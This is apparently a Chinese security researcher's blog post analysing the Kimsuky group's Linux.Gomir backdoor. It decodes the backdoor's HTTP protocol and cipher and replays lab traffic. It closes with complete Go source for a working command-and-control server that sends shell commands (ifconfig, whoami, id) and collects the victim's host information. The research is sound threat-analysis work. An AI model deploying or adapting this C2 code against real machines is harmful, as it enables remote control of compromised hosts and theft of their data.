文章首发地址:
https://xz.aliyun.com/t/14673
文章首发作者:
T0daySeeker
概述
在上一篇《Kimsuky组织最新Linux后门技术剖析》文章中,笔者对Kimsuky组织使用的最新Linux.Gomir后门的功能进行了简单剖析,同时也对其通信模型剖析进行了简单尝试,最后由于动态调试的原因,一时未能对其有所突破。
虽然暂时未能对其通信模型进行突破,笔者也曾自我怀疑的一会。。。
所以,在写完上一篇《Kimsuky组织最新Linux后门技术剖析》文章后,笔者又开始尝试对其通信模型进行剖析,不过好在功夫不负有心人,笔者最终还是成功对其通信模型梳理清楚,同时还基于其通信模型,模拟构建了此后门所对应的控制端C&C站点程序。
为了能够完整复现Linux.Gomir后门的攻击场景,笔者从如下角度开展了研究分析工作:
-
一个小坑:结合网络中的分析报告,才发现是「由于笔者动态调试时赋值的数据载荷长度不够,导致一直无法进入后续远控功能代码」,让笔者误以为后门功能分析错误。 -
关键代码剖析:结合逆向分析,对此Linux.Gomir后门的通信关键代码进行详细剖析。 -
后门C&C站点效果:基于模拟构建的Linux.Gomir后门C&C站点程序,模拟复现Linux.Gomir后门的远程控制行为。 -
后门通信模型剖析:结合动态调试,研究分析Linux.Gomir后门的通信模型。 -
模拟构建后门C&C站点:构建Linux.Gomir后门C&C站点。
一个小坑
可能是技术思维习惯了,笔者在对此后门程序进行分析的过程中,遇到问题总是容易陷入在自己想办法解决的状态,所以在笔者冷静了几天,再次对此后门程序进行剖析的过程中,笔者发现:原来在symantec公司的Threat Hunter Team团队发布的报告中,里面就有一句话对其通信数据结构进行了简单描述,相关截图如下:
基于报告再次回想对比分析,笔者发现,其实笔者的初探分析结果是与其相同的:笔者也曾使用S开头的字符串+Base64数据作为响应数据,「但是比较遗憾的是,笔者构建的Base64解码前的数据一直是4至5字节,因此导致后门程序在运行过程中一直无法进入处理远控指令的逻辑代码处。」
结合报告内容,笔者才突然醒悟,原来是我构造的通信数据载荷太小了。。。有点小无语。。。
关键代码剖析
POST请求
通过分析,发现此后门程序运行后,将调用mirror_common_HttpPostForm函数发起POST请求,相关代码截图如下:
构建模拟通信环境,提取HTTP POST请求通信数据包,梳理发现POST请求载荷结构为:
a[9个随机字符]=2&b[9个随机字符]=g-[ID信息]1&c[9个随机字符]=
相关通信数据包截图如下:
相关代码截图如下:
POST请求响应
通过分析,发现POST请求成功后,此后门程序将调用io.ReadAll函数从HTTP响应数据中提取载荷内容,相关代码截图如下:
判断载荷标志
通过分析,发现此后门程序在开始对其通信载荷进行解密前,将对其载荷标志进行判断,判断其是否是以S字符开头的字符串,相关代码截图如下:
Base64编码
通过分析,发现若通信载荷是以S字符开头的字符串,则此后门程序将对其S字符后续的字符串内容进行Base64解码,相关代码截图如下:
自定义加密算法
通过分析,发现若成功对其S字符后续的字符串进行Base64解码,则此后门程序将调用自定义加解密算法对其通信载荷进行字节解密,相关代码截图如下:
提取远控指令
通过分析,发现成功对其通信载荷进行字节解密后,则此后门程序将对其解密后的载荷数据长度进行判断,若长度大于等于2,则样本将提取前两个字节数据作为远控指令,相关代码截图如下:
后门C&C站点效果
结合逆向分析,笔者对此后门程序的通信模型进行了简单梳理,并尝试模拟构建了一款后门控制端C&C站点程序,经过简单测试,可有效的与Kimsuky组织的最新Linux.Gomir后门进行交互。
C&C站点程序启用后,我们可正常访问其WEB服务,相关截图如下:
Kimsuky组织最新Linux.Gomir后门上线后,即可开展正常的远控行为,相关截图如下:
通信过程中C&C站点中内置的远控指令如下:
通信过程中C&C站点记录的远控指令响应结果如下:
F:GolandProjectsawesomeProject5>awesomeProject5.exe
[GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached.
[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production.
- using env: export GIN_MODE=release
- using code: gin.SetMode(gin.ReleaseMode)
Send: 3133@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 992.7µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 Not implemented on Linux!
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 132.5µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3037@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 991.5µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 /home/temp/Desktop/test
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 307.9µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3038@/tmp/
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 503.7µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 dir: 18 file: 15 size: 485 kB(484744)
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 138µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3039@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 976.9µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 Hostname: localhost.localdomain
Username: temp
CPU: Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz (Phy: 2, Log: 2)
Memory: 1.9 GB
Network:
Index: 1
Name: lo
MAC:
Addr: 127.0.0.1/8
Addr: ::1/128
Index: 2
Name: ens33
MAC: 00:0c:29:a1:5f:86
Addr: 192.168.153.145/24
Addr: fe80::917c:3440:6adc:dafe/64
Index: 3
Name: virbr0
MAC: 52:54:00:f1:3f:d2
Index: 4
Name: virbr0-nic
MAC: 52:54:00:f1:3f:d2
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 495.1µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3032@ifconfig
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 495.1µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.153.145 netmask 255.255.255.0 broadcast 192.168.153.255
inet6 fe80::917c:3440:6adc:dafe prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a1:5f:86 txqueuelen 1000 (Ethernet)
RX packets 73472 bytes 103306782 (98.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9186 bytes 656471 (641.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 68 bytes 5920 (5.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 68 bytes 5920 (5.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 277.4µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3032@whoami
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 493.4µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 temp
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 41.2µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3032@id
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 495.3µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 uid=1000(temp) gid=1000(temp) groups=1000(temp) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 495.9µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3135@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 992.9µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 Socks list
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 0s | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3033@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 493.3µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 /home/temp/Desktop
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 0s | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Send: 3036@
[GIN] 2024/05/25 - 17:57:39 |[97;42m 200 [0m| 992.5µs | 192.168.153.145 |[97;46m POST [0m "/mmir/index.php"
Recv: g-f8cc082c2d2 [+] Bye!
F:GolandProjectsawesomeProject5>
后门通信模型剖析
通信数据包
在模拟构建后门控制端C&C站点程序时,笔者又发现了一个用于返回响应数据的新的POST请求载荷数据结构,详细情况如下:
#请求获取远控指令
a[9个随机字符]=2&b[9个随机字符]=g-[ID信息]1&c[9个随机字符]=
#请求返回远控指令执行结果
x[9个随机字符]=1&y[9个随机字符]=g-[ID信息]2&z[9个随机字符]=[加密后的通信载荷数据]
通信过程中产生的http通信数据包截图如下:
通信模型剖析
通过分析,梳理此后门程序的网络通信逻辑如下:
-
通信载荷数据结构分为两种: -
请求获取远控指令:a[9个随机字符]=2&b[9个随机字符]=g-[ID信息]1&c[9个随机字符]= -
请求返回远控指令执行结果:x[9个随机字符]=1&y[9个随机字符]=g-[ID信息]2&z[9个随机字符]=[加密后的通信载荷数据] -
「解密通信载荷数据时,不同指令进行Base64加密时,使用的Base64编码规则不同」 -
A-Za-z0-9+/= -
A-Za-z0-9-_
Base64编码使用A-Za-z0-9+/=
编码规则的远控指令通信模型如下:
#************************请求获取远控指令************************
POST /mmir/index.php HTTP/1.1
Host: 192.168.153.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
a61endK579=2&b1YFHR0UZo=g-f8cc082c2d1&c0V9HtmaP7=
#通信数据解析
ID值:g-f8cc082c2d
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Sat, 25 May 2024 09:57:39 GMT
Content-Length: 9
SAQEBATI0
#通信数据解析
S #通信载荷标志
AQEBATI0 #加密通信载荷
#通信数据解密
#第一层:Base64解码(A-Za-z0-9+/=)
010101013234
01010101 #4字节密钥
3234 #自定义算法加密数据
#第二层:字节解密
3133
#************************请求返回远控指令执行结果************************
POST /mmir/index.php HTTP/1.1
Host: 192.168.153.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
xa36ldBPzJ=1&yQj2AwyLgS=g-f8cc082c2d2&zqm09Tpx2C=AQEBAU9wdSFqbnFtZm5mb3VmZSFwbyFNam92eSI%3D
#通信数据解析
g-f8cc082c2d #ID值
AQEBAU9wdSFqbnFtZm5mb3VmZSFwbyFNam92eSI%3D #通信载荷
#通信数据解密
#第一层:Base64解码(A-Za-z0-9+/=)
010101014f7075216a6e716d666e666f75666521706f214d6a6f767922
01010101 #4字节密钥
4f7075216a6e716d666e666f75666521706f214d6a6f767922 #自定义算法加密数据
#第二层:字节解密
4e6f7420696d706c656d656e746564206f6e204c696e757821
Not implemented on Linux! #字节数据对应字符串
HTTP/1.1 200 OK
Date: Sat, 25 May 2024 09:57:39 GMT
Content-Length: 0
相关截图如下:
Base64编码使用A-Za-z0-9-_
编码规则的远控指令通信模型如下:
#************************请求获取远控指令************************
POST /mmir/index.php HTTP/1.1
Host: 192.168.153.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
aqMfKTbLD6=2&bnImONapi6=g-f8cc082c2d1&cIcZXdvNvH=
#通信数据解析
ID值:g-f8cc082c2d
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Sat, 25 May 2024 09:57:39 GMT
Content-Length: 21
SAQEBATEzamdkcG9namg=
#通信数据解析
S #通信载荷标志
AQEBATEzamdkcG9namg= #加密通信载荷
#通信数据解密
#第一层:Base64解码(A-Za-z0-9+/=)
0101010131336a6764706f676a68
01010101 #4字节密钥
31336a6764706f676a68 #自定义算法加密数据
#第二层:字节解密
30326966636f6e666967
3032 #远控指令02:执行shell命令
6966636f6e666967 #对应字符串:ifconfig
#************************请求返回远控指令执行结果************************
POST /mmir/index.php HTTP/1.1
Host: 192.168.153.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Content-Length: 1245
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
x9uue5BPf4=1&yf2whrtOeu=g-f8cc082c2d2&z9DC6zfdly=AQEBAWZvdDQ0OyFnbWJodD41Mjc0PVZRLUNTUEJFREJUVS1TVk9PSk9ILU5WTVVKREJUVT8hIW51diEyNjExCyEhISEhISEham9mdSEyOjMvMjc5LzI2NC8yNTYhIW9mdW5idGwhMzY2LzM2Ni8zNjYvMSEhY3NwYmVkYnR1ITI6My8yNzkvMjY0LzM2NgshISEhISEhIWpvZnU3IWdmOTE7OzoyOGQ7NDU1MTs3YmVkO2ViZ2YhIXFzZmdqeW1mbyE3NSEhdGRwcWZqZSExeTMxPW1qb2w_CyEhISEhISEhZnVpZnMhMTE7MWQ7Mzo7YjI7Nmc7OTchIXV5cnZmdmZtZm8hMjExMSEhKUZ1aWZzb2Z1KgshISEhISEhIVNZIXFiZGxmdXQhODQ1ODMhIWN6dWZ0ITIxNDQxNzg5MyEpOjkvNiFOakMqCyEhISEhISEhU1khZnNzcHN0ITEhIWVzcHFxZmUhMSEhcHdmc3N2b3QhMSEhZ3NibmYhMQshISEhISEhIVVZIXFiZGxmdXQhOjI5NyEhY3p1ZnQhNzY3NTgyISk3NTIvMSFMakMqCyEhISEhISEhVVkhZnNzcHN0ITEhIWVzcHFxZmUhMSFwd2Zzc3ZvdCExISFkYnNzamZzITEhIWRwbW1qdGpwb3QhMQsLbXA7IWdtYmh0Pjg0PVZRLU1QUFFDQkRMLVNWT09KT0g_ISFudXYhNzY2NDcLISEhISEhISFqb2Z1ITIzOC8xLzEvMiEhb2Z1bmJ0bCEzNjYvMS8xLzELISEhISEhISFqb2Z1NyE7OzIhIXFzZmdqeW1mbyEyMzkhIXRkcHFmamUhMXkyMT1pcHR1PwshISEhISEhIW1wcHEhIXV5cnZmdmZtZm8hMjExMSEhKU1wZGJtIU1wcHFjYmRsKgshISEhISEhIVNZIXFiZGxmdXQhNzkhIWN6dWZ0ITY6MzEhKTYvOCFMakMqCyEhISEhISEhU1khZnNzcHN0ITEhIWVzcHFxZmUhMSEhcHdmc3N2b3QhMSEhZ3NibmYhMQshISEhISEhIVVZIXFiZGxmdXQhNzkhIWN6dWZ0ITY6MzEhKTYvOCFMakMqCyEhISEhISEhVVkhZnNzcHN0ITEhIWVzcHFxZmUhMSFwd2Zzc3ZvdCExISFkYnNzamZzITEhIWRwbW1qdGpwb3QhMQsL
#通信数据解析
g-f8cc082c2d #ID值
AQEBAWZvdDQ0OyFnbWJodD41Mjc0PVZRLUNTUEJFREJUVS1TVk9PSk9ILU5WTVVKREJUVT8hIW51diEyNjExCyEhISEhISEham9mdSEyOjMvMjc5LzI2NC8yNTYhIW9mdW5idGwhMzY2LzM2Ni8zNjYvMSEhY3NwYmVkYnR1ITI6My8yNzkvMjY0LzM2NgshISEhISEhIWpvZnU3IWdmOTE7OzoyOGQ7NDU1MTs3YmVkO2ViZ2YhIXFzZmdqeW1mbyE3NSEhdGRwcWZqZSExeTMxPW1qb2w_CyEhISEhISEhZnVpZnMhMTE7MWQ7Mzo7YjI7Nmc7OTchIXV5cnZmdmZtZm8hMjExMSEhKUZ1aWZzb2Z1KgshISEhISEhIVNZIXFiZGxmdXQhODQ1ODMhIWN6dWZ0ITIxNDQxNzg5MyEpOjkvNiFOakMqCyEhISEhISEhU1khZnNzcHN0ITEhIWVzcHFxZmUhMSEhcHdmc3N2b3QhMSEhZ3NibmYhMQshISEhISEhIVVZIXFiZGxmdXQhOjI5NyEhY3p1ZnQhNzY3NTgyISk3NTIvMSFMakMqCyEhISEhISEhVVkhZnNzcHN0ITEhIWVzcHFxZmUhMSFwd2Zzc3ZvdCExISFkYnNzamZzITEhIWRwbW1qdGpwb3QhMQsLbXA7IWdtYmh0Pjg0PVZRLU1QUFFDQkRMLVNWT09KT0g_ISFudXYhNzY2NDcLISEhISEhISFqb2Z1ITIzOC8xLzEvMiEhb2Z1bmJ0bCEzNjYvMS8xLzELISEhISEhISFqb2Z1NyE7OzIhIXFzZmdqeW1mbyEyMzkhIXRkcHFmamUhMXkyMT1pcHR1PwshISEhISEhIW1wcHEhIXV5cnZmdmZtZm8hMjExMSEhKU1wZGJtIU1wcHFjYmRsKgshISEhISEhIVNZIXFiZGxmdXQhNzkhIWN6dWZ0ITY6MzEhKTYvOCFMakMqCyEhISEhISEhU1khZnNzcHN0ITEhIWVzcHFxZmUhMSEhcHdmc3N2b3QhMSEhZ3NibmYhMQshISEhISEhIVVZIXFiZGxmdXQhNzkhIWN6dWZ0ITY6MzEhKTYvOCFMakMqCyEhISEhISEhVVkhZnNzcHN0ITEhIWVzcHFxZmUhMSFwd2Zzc3ZvdCExISFkYnNzamZzITEhIWRwbW1qdGpwb3QhMQsL #通信载荷
#通信数据解密
#第一层:Base64解码(A-Za-z0-9+/=)
01010101666f7434343b21676d6268743e353237343d56512d4353504245444254552d53564f4f4a4f482d4e564d554a444254553f21216e757621323631310b21212121212121216a6f667521323a332f3237392f3236342f32353621216f66756e62746c213336362f3336362f3336362f31212163737062656462747521323a332f3237392f3236342f3336360b21212121212121216a6f66753721676639313b3b3a3238643b343535313b376265643b656267662121717366676a796d666f213735212174647071666a6521317933313d6d6a6f6c3f0b212121212121212166756966732131313b31643b333a3b62323b36673b39372121757972766676666d666f213231313121212946756966736f66752a0b21212121212121215359217162646c6675742138343538332121637a7566742132313434313738393321293a392f36214e6a432a0b21212121212121215359216673737073742131212165737071716665213121217077667373766f74213121216773626e6621310b21212121212121215559217162646c667574213a3239372121637a7566742137363735383221293735322f31214c6a432a0b212121212121212155592166737370737421312121657370717166652131217077667373766f7421312121646273736a66732131212164706d6d6a746a706f7421310b0b6d703b21676d6268743e38343d56512d4d5050514342444c2d53564f4f4a4f483f21216e75762137363634370b21212121212121216a6f6675213233382f312f312f3221216f66756e62746c213336362f312f312f310b21212121212121216a6f667537213b3b322121717366676a796d666f21323339212174647071666a6521317932313d697074753f0b21212121212121216d7070712121757972766676666d666f21323131312121294d7064626d214d7070716362646c2a0b21212121212121215359217162646c6675742137392121637a75667421363a33312129362f38214c6a432a0b21212121212121215359216673737073742131212165737071716665213121217077667373766f74213121216773626e6621310b21212121212121215559217162646c6675742137392121637a75667421363a33312129362f38214c6a432a0b212121212121212155592166737370737421312121657370717166652131217077667373766f7421312121646273736a66732131212164706d6d6a746a706f7421310b0b
01010101 #4字节密钥
666f7434343b21676d6268743e353237343d56512d4353504245444254552d53564f4f4a4f482d4e564d554a444254553f21216e757621323631310b21212121212121216a6f667521323a332f3237392f3236342f32353621216f66756e62746c213336362f3336362f3336362f31212163737062656462747521323a332f3237392f3236342f3336360b21212121212121216a6f66753721676639313b3b3a3238643b343535313b376265643b656267662121717366676a796d666f213735212174647071666a6521317933313d6d6a6f6c3f0b212121212121212166756966732131313b31643b333a3b62323b36673b39372121757972766676666d666f213231313121212946756966736f66752a0b21212121212121215359217162646c6675742138343538332121637a7566742132313434313738393321293a392f36214e6a432a0b21212121212121215359216673737073742131212165737071716665213121217077667373766f74213121216773626e6621310b21212121212121215559217162646c667574213a3239372121637a7566742137363735383221293735322f31214c6a432a0b212121212121212155592166737370737421312121657370717166652131217077667373766f7421312121646273736a66732131212164706d6d6a746a706f7421310b0b6d703b21676d6268743e38343d56512d4d5050514342444c2d53564f4f4a4f483f21216e75762137363634370b21212121212121216a6f6675213233382f312f312f3221216f66756e62746c213336362f312f312f310b21212121212121216a6f667537213b3b322121717366676a796d666f21323339212174647071666a6521317932313d697074753f0b21212121212121216d7070712121757972766676666d666f21323131312121294d7064626d214d7070716362646c2a0b21212121212121215359217162646c6675742137392121637a75667421363a33312129362f38214c6a432a0b21212121212121215359216673737073742131212165737071716665213121217077667373766f74213121216773626e6621310b21212121212121215559217162646c6675742137392121637a75667421363a33312129362f38214c6a432a0b212121212121212155592166737370737421312121657370717166652131217077667373766f7421312121646273736a66732131212164706d6d6a746a706f7421310b0b #自定义算法加密数据
#第二层:字节解密
656e7333333a20666c6167733d343136333c55502c42524f4144434153542c52554e4e494e472c4d554c5449434153543e20206d747520313530300a2020202020202020696e6574203139322e3136382e3135332e31343520206e65746d61736b203235352e3235352e3235352e30202062726f616463617374203139322e3136382e3135332e3235350a2020202020202020696e65743620666538303a3a393137633a333434303a366164633a6461666520207072656669786c656e203634202073636f7065696420307832303c6c696e6b3e0a202020202020202065746865722030303a30633a32393a61313a35663a38362020747871756575656c656e203130303020202845746865726e6574290a20202020202020205258207061636b6574732037333437322020627974657320313033333036373832202839382e35204d6942290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732039313836202062797465732036353634373120283634312e30204b6942290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a6c6f3a20666c6167733d37333c55502c4c4f4f504241434b2c52554e4e494e473e20206d74752036353533360a2020202020202020696e6574203132372e302e302e3120206e65746d61736b203235352e302e302e300a2020202020202020696e657436203a3a3120207072656669786c656e20313238202073636f7065696420307831303c686f73743e0a20202020202020206c6f6f702020747871756575656c656e20313030302020284c6f63616c204c6f6f706261636b290a20202020202020205258207061636b6574732036382020627974657320353932302028352e37204b6942290a20202020202020205258206572726f72732030202064726f70706564203020206f76657272756e73203020206672616d6520300a20202020202020205458207061636b6574732036382020627974657320353932302028352e37204b6942290a20202020202020205458206572726f72732030202064726f707065642030206f76657272756e73203020206361727269657220302020636f6c6c6973696f6e7320300a0a
#字节数据对应字符串
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.153.145 netmask 255.255.255.0 broadcast 192.168.153.255
inet6 fe80::917c:3440:6adc:dafe prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a1:5f:86 txqueuelen 1000 (Ethernet)
RX packets 73472 bytes 103306782 (98.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9186 bytes 656471 (641.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 68 bytes 5920 (5.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 68 bytes 5920 (5.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
HTTP/1.1 200 OK
Date: Sat, 25 May 2024 09:57:39 GMT
Content-Length: 0
相关截图如下:
模拟构建后门C&C站点
在这里,笔者将使用golang语言模拟构建Kimsuky组织最新Linux.Gomir后门的C&C站点,详细情况如下:
代码结构如下:
代码实现
-
task1.txt
3133@
3037@
3038@/tmp/
3039@
3032@ifconfig
3032@whoami
3032@id
3135@
3033@
3036@
-
main.go
package main
import (
"awesomeProject5/common"
"awesomeProject5/web"
"github.com/gin-gonic/gin"
"os"
)
func main() {
init_tasks_Kimsuky_LinuxBackDoor()
//*****http******
r := gin.Default()
// 设置GIN模式为release模式
gin.SetMode(gin.ReleaseMode)
r.GET("/", web.HandleRoot)
r.POST("/mmir/index.php", web.Handle_POST)
r.Run(":80")
}
func init_tasks_Kimsuky_LinuxBackDoor() {
os.Remove("./conf/tmp1.txt")
common.WriteFile("./conf/tmp1.txt", "0")
}
-
web.go
package web
import (
"awesomeProject5/common"
"encoding/hex"
"fmt"
"github.com/gin-gonic/gin"
"io/ioutil"
"net/url"
"os"
"strconv"
"strings"
)
func HandleRoot(c *gin.Context) {
c.String(200, "Hello, World!")
}
func Handle_POST(c *gin.Context) {
body, _ := ioutil.ReadAll(c.Request.Body)
//fmt.Println(string(body))
if strings.Contains(string(body), "=2&b") {
UID := strings.Split(string(body), "&c")[0][24:]
data := strings.Split(string(body), "&c")[1][10:]
if data == "" {
str, _ := common.ReadFile("./conf/tmp1.txt")
num, _ := strconv.Atoi(str)
strs := common.FileToSlice("./conf/tasks1.txt")
if num < len(strs) {
os.Remove("./conf/tmp1.txt")
common.WriteFile("./conf/tmp1.txt", strconv.Itoa(num+1))
buf := strs[num]
buf1 := strings.Split(buf, "@")[0]
buf2 := strings.Split(buf, "@")[1]
sendbuf, _ := hex.DecodeString(buf1)
sendbuf = append(sendbuf, []byte(buf2)...)
buf_base64 := common.Encode(sendbuf)
fmt.Println("Send:", buf)
c.String(200, "S"+buf_base64)
} else if num == len(strs) {
os.Exit(1)
}
//buf, _ := hex.DecodeString("3133")
//buf, _ := hex.DecodeString("3039")
//buf, _ := hex.DecodeString("3032")
//buf = append(buf, []byte("ifconfig")...)
//buf_base64 := Encode(buf)
//fmt.Println(buf_base64)
//c.String(200, "S"+buf_base64)
} else {
fmt.Println(UID, "test:abc")
}
} else if strings.Contains(string(body), "=1&y") {
UID := strings.Split(string(body), "&z")[0][24:]
data := strings.Split(string(body), "&z")[1][10:]
if data == "" {
fmt.Println("test:xyz")
} else {
decodedURL, _ := url.QueryUnescape(data)
decbuf := common.Decode(decodedURL)
//fmt.Println(hex.EncodeToString(decbuf))
fmt.Println("Recv:", UID, string(decbuf))
if string(decbuf) == "[+] Bye!" {
os.Exit(1)
}
}
}
}
-
common.go
package common
import (
"bufio"
"encoding/base64"
"encoding/hex"
"fmt"
"io"
"io/ioutil"
"os"
)
func Encode(data []byte) (buf_base64 string) {
encbuf := BytesEncrypt(data)
buf_base64 = Base64_Encode(encbuf)
return
}
func Decode(buf_base64 string) (decbuf []byte) {
encbuf := []byte{}
encbuf = Base64_Decode(buf_base64)
if encbuf == nil {
encbuf = Base64_Decode_RawURLEncoding(buf_base64)
if encbuf == nil {
fmt.Println("Decode Error")
os.Exit(1)
}
}
decbuf = BytesDecrypt(encbuf)
return
}
func BytesEncrypt(data []byte) (encbuf []byte) {
//encbuf := []byte{}
//randomBytes := make([]byte, 4)
//rand.Read(randomBytes)
//随机填充的密钥会有问题,暂时先不解决
randomBytes, _ := hex.DecodeString("01010101")
encbuf = append(encbuf, randomBytes...)
for i, j := range data {
res := bytesEncrypt(int(j), int(randomBytes[i%4]))
encbuf = append(encbuf, byte(res))
}
//fmt.Println(hex.EncodeToString(encbuf))
return
}
func bytesEncrypt(v14, v15 int) int {
aa := ((v14 + v15 - 1) >> 0x1f)
bb := -((0x80808081 * (v14 + v15 - 1)) >> 0x20)
cc := (v14 + v15 + bb - 1) >> 7
dd := cc - aa
v17 := v14 + v15 - dd<<8
return v17
}
func BytesDecrypt(data []byte) (decbuf []byte) {
key := []byte{}
encbuf := []byte{}
key = append(key, data[:4]...)
encbuf = append(encbuf, data[4:]...)
for i, j := range encbuf {
v17 := bytesDecrypt(int(j), int(key[i%4]))
decbuf = append(decbuf, byte(v17))
}
return
}
// 010101010506070809 解密后为 0405060708
func bytesDecrypt(v14, v15 int) int {
aa := ((v14 - v15 + 254) >> 31)
bb := aa + (0x80808081 * (v14 - v15 + 254) >> 32)
v16 := (((bb >> 7) - (aa >> 0x1f)) << 8)
v17 := v14 - v15 - (v16 - 1) + 0xff
return v17
}
func ReadFile(filename string) (string, error) {
f, err := os.Open(filename)
if err != nil {
return "", err
}
defer f.Close()
b, err := ioutil.ReadAll(f)
if err != nil {
return "", err
}
return string(b), nil
}
func FileToSlice(file string) []string {
fil, _ := os.Open(file)
defer fil.Close()
var lines []string
scanner := bufio.NewScanner(fil)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines
}
func WriteFile(filename, data string) error {
file, err := os.Create(filename)
if err != nil {
return err
}
defer file.Close()
_, err = io.WriteString(file, data)
if err != nil {
return err
}
return nil
}
func Base64_Encode(message []byte) string {
return base64.StdEncoding.EncodeToString(message)
}
func Base64_Encode_RawURLEncoding(message []byte) string {
return base64.RawURLEncoding.EncodeToString(message)
}
func Base64_Decode_RawURLEncoding(encodedMessage string) []byte {
decodedMessage, err := base64.RawURLEncoding.DecodeString(encodedMessage)
if err != nil {
//fmt.Println("Base64_Decode Error:", err)
return nil
}
return decodedMessage
}
func Base64_Decode(encodedMessage string) []byte {
decodedMessage, err := base64.StdEncoding.DecodeString(encodedMessage)
if err != nil {
//fmt.Println("Base64_Decode Error:", err)
return nil
}
return decodedMessage
}
原文始发于微信公众号(T0daySeeker):Kimsuky组织最新Linux.Gomir后门通信模型剖析及攻击场景复现